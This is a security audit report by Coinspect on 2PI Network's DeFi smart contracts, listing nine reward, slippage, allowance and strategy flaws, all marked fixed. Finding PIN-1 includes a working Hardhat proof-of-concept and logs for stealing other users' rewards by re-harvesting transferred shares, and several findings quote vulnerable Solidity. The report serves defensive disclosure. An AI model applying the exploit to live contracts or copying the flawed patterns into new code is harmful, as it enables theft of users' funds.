Smart Contract Audit

2PI Network

coinspect

2PI

Smart Contract Audit

V211022

Prepared for 2P Network • October 2021

1. Executive Summary

In September 2021, 2PI engaged Coinspect to perform a source code review of the 2PI Network. The objective of the project was to evaluate the security of the smart contracts.

During this engagement, Coinspect audited the contracts implementing the PiToken, rewards minting and distribution, vaults deposits and withdrawals, controller and investment strategies.

As a result, several vulnerabilities were identified that could allow attackers to steal funds from users or put funds at risk. It is recommended the protocol code to be reevaluated once the issues described and recommendations provided are addressed.

During October 2021 Coinspect reviewed the fixes implemented by the 2PI team in order to verify if they correctly addressed the issues reported; this report was updated to reflect them. In addition, it was observed that most recommendations were implemented.

The following issues were identified during the assessment:

High Risk	Medium Risk	Low Risk
3	6	0
Fixed	Fixed	Fixed
100%	100%	-

2. Assessment and Scope

The audit started on **September 27** and was conducted on the `audit-sept` branch of the git repository at https://github.com/2pinetwork/contracts/tree/audit-sept as of commit `d4e02316c4a854698d19df74dbc6815bd39112f4` of **September 25, 2021**.

The scope of the audit was limited to the following Solidity source files, shown here with their `sha256sum` hash:

```
cd8cb75b0eaa3e716d5b6d9ffebd2b5cd9198d0b3dfb267f06cab91d4d7b93a6  ./PiToken.sol
21c09f1fbe46ad23c6f7f894d65ca04e48fff6aab7d0e1c1da4215c8a724d7d3  ./ArchimedesAPI.sol
c73e03828c07d2e6a25b653fbd4672ac536c8cb2b6dfc57c7afd25329cf33b02  ./mocks/PoolMock.sol
f42c25b46636a2dd3eb84afdfeec5868e8c9fbfd994e2be0526a86d3f584ab67  ./mocks/CurvePoolMock.sol
63a5b460771bef4af3b7da0452675b6337b4ffe051864a52eaf39e07b7e88f1d  ./mocks/WETHMock.sol
9cefb11ffa1e27d229182a1b69109cceec236aa8bfc04193d25cc8f8be556a06  ./mocks/ArchimedesAPIMock.sol
7f234828dc296f3dbe742c6a2c0f000316eabf54720b05b74f36534db16041e5  ./mocks/CurveRewardsGaugeMock.sol
adfb89e0fb3cac5d9c349775c3732a871b300b88ab0f93f518a0b7730010404b  ./mocks/MintAndSendMock.sol
c497e400d1002ff9f7aed962827f6ebea2d5e8577ec29cf1da02ae5d759a46f2  ./mocks/UniswapRouterMock.sol
705f95ef83453a1166b668ac44669b8ac8d64f992954e395857837facd7ca7a1  ./mocks/IncentivesControllerMock.sol
2ef8962d14e6ee135a2fb805cff2aeaae93af64687edee5c7d42b9fa6b96e208  ./mocks/DataProviderMock.sol
fa2ed15c8dee851f333fab60eabb62d1e1a660246df9ece59ea0517562c0f8fd  ./mocks/ArchimedesMock.sol
6daa40e788c84c0431ee5b4a05a94aeb8cba4a2fc1bf237952650b329579345f  ./mocks/TokenMock.sol
c7cc96ac46fb09b44d327f87dd2dcbafcefccb4a9cc33e7809622bd417863c01  ./mocks/PiTokenMock.sol
4efe6e8a77128aedb662082451047e25de6b0f02d8ed5ef131bddd1a3fd05ce5  ./mocks/FarmMock.sol
a636aa0c23e8bb5922964e772b80480b3354b3eb1fd978ff23a70f541231f996  ./Archimedes.sol
33bbe2e96ea3046394cf4d9e58322208819d4bdadfe1c8705394f677ec483709  ./ControllerAaveStrat.sol
890ef6dce6939eaf100c316afa7bbe3ed75508ec3c880e50324501cee89adbc8  ./ControllerCurveStrat.sol
5c89ee3f2f72abceb4a2b9e6b100504e8826f2cb14ba5e3f5b644baff5147b8c  ./FeeManager.sol
e1ea1d27f38dfd9d640d714c68ebed9d5779701fbb1b011f0031d97ebbbfb878  ./Referral.sol
f98a57b8aced9c6fdd58396a8d2714c07b54b58399080c19502b2c8a93aa73ba  ./MintAndSend.sol
2f39af7cf484982057c2e25832a196f17dec998ccab3c2e48e6a8116fcfc5c6a  ./PiVault.sol
ce7a44d6f5f0a99796fdb00078cffd4e910f8baa61c4c0eb06416b8190a3a245  ./Controller.sol
```

The audit continued on **October 11** and was conducted on the `audit-sept` branch of the git repository at https://github.com/2pinetwork/contracts/tree/audit-sept as of commit `a902748af9d2b41d6e1ee26c45f787acb5ce4ae0` of **October 11, 2021**. The modifications reviewed included fixes for the previously reported vulnerabilities as well as new features, including but not limited to:

1. Vested tokens distributor contract
2. Bridged PiToken and dynamic mint speed based on tranches mechanism
3. External price feeds utilization for some of the token swaps

For this second review the scope of the audit was limited to the following Solidity source files, shown here with their `sha256sum` hash:

```
abb79f32c612ff7591599707b3433990dce06a3232ffab34f4a47909a1d288bb  ./PiToken.sol
2e9e60e7eac24eb85320eb9e1668292ded0a6b874734b43411677aa530d13b47  ./ArchimedesAPI.sol
c9e48cce903255f0bd60a540c77013e402b48e57b0d539a610743dfff0a23809  ./mocks/BridgedPiTokenMock.sol
216e49d5c26abdd7ad4d25c4f587bff8baca5febcff0b8a3f5dbb14c5a97c1e8  ./mocks/PoolMock.sol
41ee9a1b317bf38eaaf6fd243507a907d96ea25f8d3915fc874537834bf9db1f  ./mocks/CurvePoolMock.sol
831a96d73d47f0149f76fef80d0df24c6166b270171dca82d3f454750e8236c8  ./mocks/WETHMock.sol
f396da2891d1fd3199fdd7536611bf588b763b84a5be33df92c1a9ff34a3125f  ./mocks/ArchimedesAPIMock.sol
5ef909dd2367ed78e32d7f9a32e21b8a3e692c298a2168a6289882daae07a753  ./mocks/DistributorMock.sol
7da4985b74651b7bd0bd8e06c4da1d6c9882060c771b527ea3efb717160ccfde  ./mocks/CurveRewardsGaugeMock.sol
5c620d94b8f7544d18877247d2bf0097a9e0fd65b84c83ec6516bf5d0884a1e1  ./mocks/UniswapRouterMock.sol
d22571c21419398984b79213c8889d53aea274b0d644ccb3e06a9a273a55333d  ./mocks/PriceFeedMock.sol
1824760136c0b4513a4ddc588ca05cf3f14203314043ba7faef1e28f3ffd0fe2  ./mocks/IncentivesControllerMock.sol
df49c27855036a32e2a69868c092bd729c846e8c2af0372b8cb22cdb47d97db7  ./mocks/DataProviderMock.sol
a7d7d07ed8823976224280e21dd0a59f2918385c164f13b95facff48a74c0275  ./mocks/ArchimedesMock.sol
3d9241f16c2d45f6b21dd3b3bad219b425627c0d275de9308fb8d3f4b63c8007  ./mocks/TokenMock.sol
4cfdbc0262e3b1266accbc244268b0da982243a4b3c9d8c5720b298e62515ee0  ./mocks/PiTokenMock.sol
ed716a17d6d5ebcae057331ebd532b8088b9725e88ddffaffa1986688265ab6d  ./mocks/FarmMock.sol
4dd509c440525848d8681aad962c98df0fd9fc068d627faf65edce8cb0dbd692  ./Archimedes.sol
95a9bca24ad78ab53d4932c23627b8237248c02b778b30a93dfa533bd0b07b44  ./ControllerAaveStrat.sol
fa62ac037a22a3006b810f6ccebd1341aabe55fa3fddfe2a18c3b136c28d113c  ./ControllerCurveStrat.sol
bf8bfa3ba6eda327c972785f0b38c607be2694bf0101d6e9f44f71fd14be5cbe  ./Distributor.sol
b1d6feeb614e665b426b2fff3892d30ef20539ff442fcda491a65a3bb935892d  ./FeeManager.sol
920038cdbca8ab70ea1907707e161dc1b86918ae870c8d6b6dbc75a8edbace03  ./Referral.sol
fb4f2d1420390abc645c961d004f79a6c1db334cf6814b0da596ccee27ae003e  ./PiVault.sol
462ecbabcde620f8ad46aea9b07be9dbc04478c7976c99e3e0928fd6fd00ae68  ./Controller.sol
2335edbed6ef05c803039633f0b94f7141c56fc04fd220de368093368f7fd7e7  ./BridgedPiToken.sol
```

The following list details what was not in scope for this engagement:

1. Tokenomics design
2. Superfluid implementation (PiToken is derived from Superfluid, which is responsible for the token streaming features)
3. Strategies evaluation (profitability, leverage parameters, liquidation risks, etc)
4. Off-chain processes responsible for triggering critical actions in the contracts
5. Third party protocols with whom 2PI interact (AAVE, Curve)

The contracts reviewed are specified to be compiled with Solidity compiler version 0.8.4, and it is recommended to upgrade to the latest compiler version 0.8.9. The project includes several tests, but coverage is pretty low in several contracts such as: `MintAndSend`, `PiToken`, and `PiVault`. Coinspect recommends coverage to be improved, along with the development of integration tests in order to check the interaction of 2PI contracts with 3rd party tokens in a forked mainnet configuration. *It is worth noting that these two suggestions were addressed before Coinspect's second review of the code and integration tests using a forked network and test coverage have dramatically improved.*

The platform's governance model is currently centralized in a set of administrative roles with the ability to modify the contracts behavior. The current implementation allows these roles to, for example:

1. Switch the external exchange to a new contract in order to grab all fees in the platform or control the exchange rate.
2. **Freely mint PiTokens, below the maximum supply cap but bypassing the tranches allocation limits at will by using the admin only `mintForMultiChain` function.**

Archimedes source code states the intention to switch to a more decentralized governance model in the future:

```
        // Note that it's ownable and the owner wields tremendous power. The ownership
        // will be transferred to a governance smart contract once PiToken is sufficiently
        // distributed and the community can show to govern itself.
```

Some roles are **responsible for triggering transactions with functions calls critical for the system and not executing them in a timely manner could result in undesired consequences**.

Coinspect observed some calculations in the code make assumptions and are not exact. This is not a recommended coding practice and is one cause of the critical issue reported in Attackers can steal all users' rewards.

3. Summary of Findings

Id	Title	Total Risk	Fixed
PIN-1	Attackers can steal all users' rewards	High	✔
PIN-2	Incident in external protocols could result in drained funds	Medium	✔
PIN-3	Insufficient third party error handling may result in lost funds	Medium	✔
PIN-4	Unlimited slippage enables draining of rewards	Medium	✔
PIN-5	Funds deposited in AAVE get liquidated and lost	High	✔
PIN-6	Strategy administrator can set unlimited performance fees	Medium	✔
PIN-7	Unlimited slippage could be abused to drain 2PI's Curve strategy	High	✔
PIN-8	Risky while loops in critical funds handling code paths	Medium	✔
PIN-9	Promised referrals commissions funds not guaranteed	Medium	✔

4. Detailed Findings

PIN-1 Attackers can steal all users' rewards

Total Risk	Impact	Location
High	High	`Archimedes.sol` `ArchimedesAPI.sol`
Fixed	Likelihood	
✔	High	

Description

Attackers can subvert the reward harvesting mechanism in order to steal all available rewards.

The reward distribution is based on: the amount of shares the user holds, the amount of piTokens per share per block being currently distributed, and the amount of rewards already paid to the user. However, this mechanism does not take into account how long the user has been in possession of his shares or if rewards were paid for these shares while in possession of a different holder.

The rewards are calculated and paid in the `calcPendingAndPayRewards` function:

```
   // Pay rewards
   function calcPendingAndPayRewards(uint _pid) internal returns (uint pending) {
       uint _shares = userShares(_pid);

       if (_shares > 0) {
           pending = ((_shares * poolInfo[_pid].accPiTokenPerShare) / SHARE_PRECISION) -
paidRewards(_pid);

           if (pending > 0) {
               safePiTokenTransfer(msg.sender, pending);
               payReferralCommission(pending);
           }
       }
   }
```

As a consequence, it is possible to harvest rewards multiple times with the same shares by transferring them to different accounts. The attack looks like this:

1. Attackers harvest rewards for their shares.
2. Attackers transfer their shares to another account in their control.
3. Attackers harvest rewards again from the new address.

As a result, when users try to harvest their rewards, there will be none available.

Moreover, the contract will update these rewards as paid even when they were not. This happens because the `safePiTokenTransfer` function used to pay users silently ignores the scenario were not enough tokens are available and truncates the amount to be paid:

```
   // Safe piToken transfer function, just in case if rounding error causes pool to not
have enough PI.
   function safePiTokenTransfer(address _to, uint _amount) internal {
       uint piTokenBal = piToken.balanceOf(address(this));

       if (_amount > piTokenBal) {
           _amount = piTokenBal;
       }

       // piToken.transfer is safe
       piToken.transfer(_to, _amount);
   }
```

This is how the piToken rewards mechanism is expected to behave in normal circumstances:

```
  Archimedes
   COINSPECT attacks


* calcPendingAndPayRewards() _shares = 0 for = 0x70997970c51812dc3a010c7d01b50e0d17dc79c8
* calcPendingAndPayRewards() wants to pay 0
* calcPendingAndPayRewards() has already paid 0


* calcPendingAndPayRewards() _shares = 0 for = 0x3c44cdddb6a900fa2b585dd299e03d12fa4293bc
* calcPendingAndPayRewards() wants to pay 0
* calcPendingAndPayRewards() has already paid 0


! 1) bob harvesting
! 4) alice harvesting
```

```
* calcPendingAndPayRewards() _shares = 10 for = 0x70997970c51812dc3a010c7d01b50e0d17dc79c8
* calcPendingAndPayRewards() wants to pay 671620950000000000
* calcPendingAndPayRewards() has already paid 0
* calcPendingAndPayRewards() transferring pending 671620950000000000


* calcPendingAndPayRewards() _shares = 10 for = 0x3c44cdddb6a900fa2b585dd299e03d12fa4293bc
* calcPendingAndPayRewards() wants to pay 671620950000000000
* calcPendingAndPayRewards() has already paid 0
* calcPendingAndPayRewards() transferring pending 671620950000000000


! block got mined with previous 4 TXs
after harvest -> bobBalance = 3.5 pi/block
after harvest -> aliceBalance = 3.5 pi/block
after harvest -> malBalance = 0 pi/block
     ✓ Double reward harvest (13278ms)
```

Note how both Bob and Alice, who own the same amount of shares, harvest the same amount of piTokens as rewards.

This is what happens when a malicious Bob attacks the system:

```
  Archimedes
   COINSPECT attacks


* calcPendingAndPayRewards() _shares = 0 for = 0x70997970c51812dc3a010c7d01b50e0d17dc79c8
* calcPendingAndPayRewards() wants to pay 0
* calcPendingAndPayRewards() has already paid 0


* calcPendingAndPayRewards() _shares = 0 for = 0x3c44cdddb6a900fa2b585dd299e03d12fa4293bc
* calcPendingAndPayRewards() wants to pay 0
* calcPendingAndPayRewards() has already paid 0


! 1) bob harvesting
! 2) transferring 10 shares from bob to mal
! 3) mal harvesting
! 4) alice harvesting


* calcPendingAndPayRewards() _shares = 10 for = 0x70997970c51812dc3a010c7d01b50e0d17dc79c8
* calcPendingAndPayRewards() wants to pay 671620950000000000
* calcPendingAndPayRewards() has already paid 0
* calcPendingAndPayRewards() transferring pending 671620950000000000


* calcPendingAndPayRewards() _shares = 10 for = 0x90f79bf6eb2c4f870365e785982e1f101e93b906
* calcPendingAndPayRewards() wants to pay 671620950000000000
* calcPendingAndPayRewards() has already paid 0
* calcPendingAndPayRewards() transferring pending 671620950000000000


* calcPendingAndPayRewards() _shares = 10 for = 0x3c44cdddb6a900fa2b585dd299e03d12fa4293bc
* calcPendingAndPayRewards() wants to pay 671620950000000000
* calcPendingAndPayRewards() has already paid 0
* calcPendingAndPayRewards() transferring pending 671620950000000000
!!!!!!! safePiTokenTransfer() not enough balance to fulfill request, _amount =
671620950000000000 but avail balance = 0


! block got mined with previous 4 TXs
after harvest -> bobBalance = 3.5 pi/block
after harvest -> aliceBalance = 0 pi/block
after shares transfer and harvest -> malBalance = 3.5 pi/block
     ✓ Double reward harvest (15318ms)
```

In this scenario, user Mal manages to harvest the rewards corresponding to Alice, who is left with no rewards as a result. It can be observed how the contract intended to pay Alice's rewards, but no available balance is present.

Proof of concept

The following test can be use to reproduce this issue:

```
describe('COINSPECT attacks', async () => {
  it('Double reward harvest', async () => {
    // Deposit without rewards yet
    await piToken.transfer(bob.address, 10)
    await piToken.connect(bob).approve(archimedes.address, 10)
    await (await archimedes.connect(bob).deposit(0, 10, zeroAddress)).wait()

    // Victim
    await piToken.transfer(alice.address, 10)
    await piToken.connect(alice).approve(archimedes.address, 10)
    await (await archimedes.connect(alice).deposit(0, 10, zeroAddress)).wait()

    expect(
      await piToken.balanceOf(archimedes.address)
    ).to.be.equal(0)

    // Still behind the reward block
    const rewardBlock = parseInt(await archimedes.startBlock(), 10)
    const currentBlock = parseInt(await getBlock(), 10)
    expect(rewardBlock).to.be.greaterThan(currentBlock)
    expect(await archimedes.connect(bob).pendingPiToken(0)).to.be.equal(0)
```

```
      await mineNTimes(rewardBlock - currentBlock)

      // This should mint a reward of 0.23~ for the first block
      await (await archimedes.updatePool(0)).wait() // rewardBlock + 1

      const piPerBlock = toNumber(await archimedes.piTokenPerBlock())

      expect(
        await piToken.balanceOf(archimedes.address)
      ).to.be.equal(
        toNumber(piPerBlock)
      )

      await mineNTimes(5)

      await network.provider.send("evm_setAutomine", [false]);
      await network.provider.send("evm_setIntervalMining", [5000]);

      console.log("\n\n! 1) bob harvesting")
      archimedes.connect(bob).harvest(0) // rewardBlock + 2 + 5

      // ATTACK: already harvested shares get transferred and
      // re-harvested from another address, stealing from alice
      console.log("! 2) transferring 10 shares from bob to mal")
      controller.connect(bob).transfer(mal.address, 10)
      console.log("! 3) mal harvesting")
      archimedes.connect(mal).harvest(0)

      //await network.provider.send("evm_setAutomine", [true]);

      console.log("! 4) alice harvesting")
      await (await archimedes.connect(alice).harvest(0)).wait()


      console.log("\n\n! block got mined with previous 4 TXs")
      let bobBalanceAfter = await piToken.balanceOf(bob.address)
      console.log(" after harvest -> bobBalance = " + bobBalanceAfter/piPerBlock + "
pi/block")
      let aliceBalanceAfter = await piToken.balanceOf(alice.address)
      console.log(" after harvest -> aliceBalance = " + aliceBalanceAfter/piPerBlock + "
pi/block")
      let malBalanceAfter = await piToken.balanceOf(mal.address)
      console.log(" after shares transfer and harvest -> malBalance = " +
malBalanceAfter/piPerBlock + " pi/block")
   }).timeout(0)
 })
```

Recommendation

Redesign the rewards distribution mechanism to pay rewards only for the time the user has held the shares.
Revert the user harvest transaction if rewards cannot be effectively paid.

Status

This issue was initially addressed in the following commit:

- 8280bff645d1b7c41db10085381c7e9715c0e8b3

The 2PI team decided to fix this vulnerability by preventing share token transfers. Even though this effectively addresses the issue in a straightforward manner, this is not recommended.

By overriding ERC20 `transfer*()` functions with reverting ones, the share token becomes non-ERC20 compliant and this will prevent composability (e.g., trading tokens in AMMs).

This non-standard behaviour must be clearly documented for users: non-transferable share tokens are not the expected behaviour for an ERC20. In addition, having to withdraw+transfer+re-deposit share tokens (instead of just transferring them) results in an elevated gas expense that many users are not willing to pay.

This issue was then fully addressed in the following commit:

- 4c0a755cbd78b286897e163b68f81da4ec2e26fd
- 00bb6aa9b8b9078f7d137da2858d027599e2d04a

PIN-2 Incident in external protocols could result in drained funds

Total Risk	Impact	Location
Medium	High	`ArchimedesAPI.sol` `FeeManager.sol` `ControllerAaveStrat.sol` `ControllerCurveStrat.sol`
Fixed ✔	Likelihood Low	

Description

2PI contract funds could be drained if any of the external protocols they interact with is compromised.

For example, the `ArchimedesAPI` contract trusts all its funds to the third party smart contract set as exchange by setting up an unlimited allowance as observed in the following code that takes place when a exchange is configured or modified:

```
function setExchange(address _newExchange) external onlyOwner {
    if (exchange != address(0)) {
        require(piToken.approve(exchange, 0));
    }

    exchange = _newExchange;

    require(piToken.approve(exchange, type(uint).max));
}
```

It is worth noting that the allowance is correctly reset when the external exchange is switched.

Even though this is convenient from a gas utilization point of view, it introduces an undesirable explicit trust in the external smart contracts.

A similar scenario is observed in the ControllerAaveStrat`.sol` and many other contracts in the platform (listed above in this issue's header):

```
function _giveAllowances(address _want) internal {
    IERC20(_want).safeApprove(pool, type(uint).max);
    IERC20(wNative).safeApprove(exchange, type(uint).max);
}
```

In this case, unlimited trust in the AAVE project pool contract is established.

Recommendation

Consider only approving the exact amount required each time a transfer operation is performed in order to maximize the security of the funds handled by 2PI. The risk associated with each third party should be assessed case by case.

If the cost of doing so is considered prohibitive and/or not worthy when contrasted with the perceived risk of the external contracts being exploited, it is recommended to have an emergency response plan in place in order to facilitate a quick reaction in the unlikely event this happens.

Status

This issue is addressed by the following commits:

- 4d5d824667e05df778d14232d7b98c8fa3c85e96

PIN-3 Insufficient third party error handling may result in lost funds

Total Risk	Impact	Location
Medium	High	`Controller.sol`
Fixed ✓	Likelihood Low	

Description

User funds could be lost because error return values from third party contracts are ignored.

For example, the `Controller` contract has no way to know a withdraw request performed to an underlying strategy has failed:

```
// Withdraw partial funds, normally used with a vault withdrawal
function withdraw(address _senderUser, uint _shares) external onlyFarm nonReentrant {
    // This line has to be calc before burn
    uint _withdraw = (balance() * _shares) / totalSupply();

    _burn(_senderUser, _shares);

    uint _balance = wantBalance();

    if (_balance < _withdraw) {
        uint _diff = _withdraw - _balance;

        _strategyWithdraw(_diff);
    }

    uint withdrawalFee = _withdraw * withdrawFee / FEE_MAX;
```

In this case, the following transfer would revert if not enough `want` token balance is available in the contract; relying on these assumptions tends to produce errors. Another example of this issue can be observed in the `retireStrat` functions implemented in each strategy. These functions never check if the funds obtained from the 3rd party contracts are the exact amount that was originally deposited.

It is important for the code interacting with external contracts to be able to detect error conditions in order to bulletproof the protocol for future external protocol integrations that handle and signal error scenarios in different ways.

Recommendation

Improve handling of error scenarios by taking into account return values and providing failure information to high level contracts.
Make sure all funds supplied to external contracts are effectively withdrawn when intended.

Status

This issue was initially addressed in the following commit:

- df409a3cc71925612d24d89be5bda243c0c0a676

Coinspect observed that the `retireStrat` function issue had not been addressed by the fixes implemented and it is recommended to do so. Because `retireStrat` can only be called by the `Controller`, and this can only be triggered when the strategy is reset, if all funds are not recovered from the underlying protocol they could end up being lost or stuck.

This issue is fully addressed in the following commit:

- a4957d99596a61ac3183c9bb6a40c3fe6cf9b7b8

PIN-4 Unlimited slippage enables draining of rewards

Total Risk	Impact	Location
Medium	High	`ArchimedesAPI.sol`
Fixed ✓	Likelihood Medium	

Description

The `ArchimedesAPI` contract could be exploited by attackers manipulating the Uniswap pool composition in order to steal reward `PiTokens`.

The `swapForWant` function is used to swap funds using Uniswap and an amountOutMin parameter of 1 is passed:

```
if (_amount > 0) {
    uint[] memory outAmounts = IUniswapRouter(exchange).swapExactTokensForTokens(
        _amount, 1, piTokenToWantRoute[_pid], address(this), block.timestamp + 60
    );
```

This means any amount of output tokens are accepted from the exchange.

This issue is further aggravated because the `swapForWant` function can be indirectly invoked by anyone, e.g. via the harvest function. This facilitates manipulating the Uniswap pool and triggering interactions with it when convenient for the attacker.

Recommendation

Coinspect suggests adding a configurable slippage setting to the contract; each swap can then provide a minimum output amount close to the expected amount according to the configurable slippage ratio. This solution would enable easily tweaking the parameter as the strategy grows. Note this is already being performed in other parts of the project's code.

Status

This issue was initially addressed in the following commit:

- df409a3cc71925612d24d89be5bda243c0c0a676

However, the fix is not sufficient. Even though a slippage setting was added, it relies on the Uniswap exchange's `getAmountsOut` function, which is the same function that would be used by `swapExactTokensForTokens`. As a consequence, if Uniswap's exchange rate had been already manipulated, the result would be the same.

This same scenario is observed in `ControllerCurveStrat's withdrawBtc` function.

On the other hand:

1. The `ControllerAaveStrat` contract does utilize an external price feed as reference for calculating the minimum expected amount of tokens for a swap.
2. The `FeeManager` contract uses an off-chain calculated ratio passed as a parameter.

Coinspect suggests using a different price reference to calculate the minimum expected amount in order to avoid price manipulation in AMMs. If an independent price feed is not yet available for PiToken (Chainlink, Compound), 2PI could consider deploying their own oracle until it is possible to switch to a more decentralized solution.

This issue is completely addressed in the following commit:

- 879415f7177368480f24e0baedfecd5d089f13eb

PIN-5 Funds deposited in AAVE get liquidated and lost

Total Risk	Impact	Location
High	High	`ControllerAaveStrat.sol`
Fixed ✓	Likelihood High	

Description

The Aave strategy resurface mechanism is flawed and will always fail, resulting in its funds being liquidated by Aave when underwater.

There is mistake in the implementation of the `increaseHealthFactor` function, which is intended to repay 10% of the borrowed amount, but instead tries to withdraw 10 times what is available:

```
function increaseHealthFactor() external onlyAdmin nonReentrant {
    (uint supplyBal,) = supplyAndBorrow();

    // Only withdraw the 10% of the max withdraw
    uint toWithdraw = (maxWithdrawFromSupply(supplyBal) * 100) / 10;

    IAaveLendingPool(pool).withdraw(want, toWithdraw, address(this));
    IAaveLendingPool(pool).repay(want, toWithdraw, INTEREST_RATE_MODE, address(this));
}
```

Recommendation

The function code should be:

```
    uint toWithdraw = (maxWithdrawFromSupply(supplyBal) * 10) / 100;
```

Status

This issue is addressed in the following commit:

- f147a2ec4a47f1052108454ba41a08f5dd75a0ca

PIN-6 Strategy administrator can set unlimited performance fees

Total Risk	Impact	Location
Medium	High	`ControllerCurveStrat.sol` `ControllerAaveStrat.sol`
Fixed ✔	Likelihood Low	

Description

The strategy administrator possesses the ability to update performance fees arbitrarily without constraints and that could be abused to harm users in case the owner's account is compromised.

Users' rewards harvest can be front-runned by a rogue strategy owner in order to steal all the rewards by setting a 100% fee.

```
function setPerformanceFee(uint _fee) external onlyAdmin nonReentrant {
    emit NewPerformanceFee(performanceFee, _fee);

    performanceFee = _fee;
```

Recommendation

Consider restricting fee updates by enforcing a maximum fee percentage. This would limit the damage in case the strategy owner account is compromised. Another option would be to impose a delay for fee updates to take effect.

Status

This issue is addressed in the following commits:

- 82e9b97320faa6b5db1e0683f2371156d5234aba
- 3ede87a2eddf8300b8311ca101ef0590b4cc7507

PIN-7 Unlimited slippage could be abused to drain 2PI's Curve strategy

Total Risk	Impact	Location
High	High	`ControllerCurveStrat.sol`
Fixed ✓	Likelihood High	

Description

The Curve strategy could be drained by attackers manipulating the RenBTC Curve pool composition. A similar scenario has been exploited to drain 11m DAI from Yearn's v1 yDAI vault. The exact details on how this was performed can be found in https://github.com/yearn/yearn-security/blob/master/disclosures/2021-02-04.md.

The following function is used to deposit funds into the aforementioned pool and a `_min_mint_amount` parameter of 0 is passed:

```
function _deposit() internal {
    uint btcBal = btcBalance();

    if (btcBal > 0) {
        uint[2] memory amounts = [btcBal, 0];

        ICurvePool(CURVE_POOL).add_liquidity(amounts, 0, true);
    }

    uint _btcCRVBalance = btcCRVBalance();

    if (_btcCRVBalance > 0) {
        IRewardsGauge(REWARDS_GAUGE).deposit(_btcCRVBalance);
    }
}
```

This issue is further aggravated because the `_deposit` function can be indirectly triggered by anyone. It facilitates manipulating the Curve pool and triggering interactions with it.

Recommendation

Coinspect suggests adding a configurable slippage setting to the strategy; each call to `add_liquidity` would then provide a `_min_mint_amount` close to the expected amount according to the configurable slippage ratio. This solution would allow to easily tweak the parameter as the strategy grows.

Status

This issue is addressed in the following commit:

- f147a2ec4a47f1052108454ba41a08f5dd75a0ca

However, the fix is not sufficient. Even though a slippage setting was added, it relies on the Curve pool's `calc_token_amount` function, which is the same function that would be used by `add_liquidity`. As a consequence, if Curve's exchange rate had been already manipulated, the result would be the same.

This same scenario is observed in `ControllerCurveStrat's withdrawBtc` function.

On the other hand:

3. The `ControllerAaveStrat` contract does utilize an external price feed as reference for calculating the minimum expected amount of tokens for a swap.
4. The `FeeManager` contract uses an off-chain calculated ratio passed as a parameter.

Coinspect suggests using a different price reference to calculate the minimum expected amount in order to avoid price manipulation in AMMs. If an independent price feed is not yet available for PiToken (Chainlink, Compound), 2PI could consider deploying their own oracle until it is possible to switch to a more decentralized solution.

This issue was addressed in the following commit:

- 1ae007ebeab9089634649a57adf0acbcf27cc45e

PIN-8 Risky while loops in critical funds handling code paths

Total Risk	Impact	Location
Medium	Medium	`ControlerAaveStrat.sol`
Fixed	**Likelihood**	
✔	Medium	

Description

Funds could be permanently stuck and lost in case of errors when interacting with a 3rd party protocol. This is caused because critical functionality handling funds in the strategy and interaction with external protocols is implemented as a while loop and no alternative mechanism is provided.

The critical `_partialDeleverage` and `_fullDeleverage` functions are implemented using a while loop:

```
   function _fullDeleverage() internal {
       (uint supplyBal, uint borrowBal) = supplyAndBorrow();
       uint toWithdraw;

       while (borrowBal > 0) {
           toWithdraw = maxWithdrawFromSupply(supplyBal);

           IAaveLendingPool(pool).withdraw(want, toWithdraw, address(this));
           // Repay only will use the needed
           IAaveLendingPool(pool).repay(want, toWithdraw, INTEREST_RATE_MODE,
address(this));

           (supplyBal, borrowBal) = supplyAndBorrow();
       }
```

If any of the calls to the Aave external contract reverts, the whole transaction will be reverted.
These two functions are used by all other functions in the strategy such as the ones responsible for withdrawing funds, retiring the strategy, etc.

Recommendation

Implement additional partial withdraw and repay functions that can be invoked one at a time when required in order to salvage funds.

Status

This issue is considered addressed as the team explained they intend to use the `increaseHealthFactor` function as an alternate method if there is need to.

PIN-9 Promised referrals commissions funds not guaranteed

Total Risk	Impact	Location
Medium	Medium	`Archimedes.sol`
Fixed ✓	Likelihood Medium	

Description

Funds to pay for referral commissions might not be available.

A magic number is used to reserve 1% of reward tokens per block for commissions:

```
    function piTokenPerBlock() public view returns (uint) {
        // Skip 1% of minting per block for Referrals
        return piToken.communityMintPerBlock() * 99 / 100;
```

However, the maximum configurable referral commission percentage is 5%:

```
// Referral commission rate in basis points.
    uint16 public referralCommissionRate = 10; // 1%
    // Max referral commission rate: 5%.
    uint16 public constant MAXIMUM_REFERRAL_COMMISSION_RATE = 50; // 5%
```

Recommendation

Reserve referral commission tokens in accordance with the configured rate.

Status

This issue is addressed in the following commit:

- f147a2ec4a47f1052108454ba41a08f5dd75a0ca

However, the current implementation still does not guarantee referrals commissions can be fully paid in the following scenario:

1. Referrals commissions are set to N%

2. `piTokenPerBlock()` rewards are minted, reserving N% for referral commissions
3. Contract owner increases referral commissions to M% where M>N
4. Rewards are paid: referral commissions are calculated using the new M% but cannot be fully paid because N% was reserved.

The existence of the `safePiTokenTransfer` function that silently transfers less than expected masks the presence of this and other potential issues:

```
   // Safe piToken transfer function, just in case if rounding error causes pool to
not have enough PI.
   function safePiTokenTransfer(address _to, uint _amount) internal {
       uint piTokenBal = piToken.balanceOf(address(this));

       if (_amount > piTokenBal) {
           _amount = piTokenBal;
       }

       // piToken.transfer is safe
       piToken.transfer(_to, _amount);
```

Coinspect did not develop a full test for this scenario because of time constraints. It is recommended for the 2PI team to evaluate if an improved implementation that guarantees commissions can be paid is worth the effort and complexity, or if it should be documented that some commissions can be lost if not claimed in time.

The issue is nevertheless considered fixed as the 2PI team stated that minting speed changes will be announced to users with plenty of time.

5. General Recommendations

The following suggestions (in addition to the ones found in each finding on this report) can help further improve the security of the contracts.

Accepted and Implemented

- Consider allowing any user to call `increaseCurrentTranche` in the `PiToken` contract in order to avoid depending on the admin role to trigger it, as the checks in the function protect from any unintended behaviour.
- The following source code comment in the `MintAndSend` contract is incorrect and should be removed:
  ```
  // investor wallet => investor tickets per block
  // private just to keep them anon ?
  mapping(address => uint) private investorTickets;
  ```
- Beware of the utilization of magic constants in contracts, for example in the `ControllerCurveStrat` contract the `withdrawBtc` function:
  ```
  // remove_liquidity
  uint balance = btcCRVBalance();
  // Calculate at least 95% of the expected. The function doesn't
  // consider the fee.
  uint expected = (calc_withdraw_one_coin(balance) * 95) / 100;
  ```
- Each constant in the source code should be documented with information explaining how the value was chosen.
- Evaluate replacing the harvest fixed slippage ratio parameter with an on-chain oracle. The current implementation forces the slippage to be set extremely low to avoid harvest transactions failing during network congestion and to avoid the risk of failing and causing gas expenses.
- This comment in `Archimedes.sol` is incorrect: `// Update the given pool's PI allocation point and deposit fee. Can only be called by the owner.`
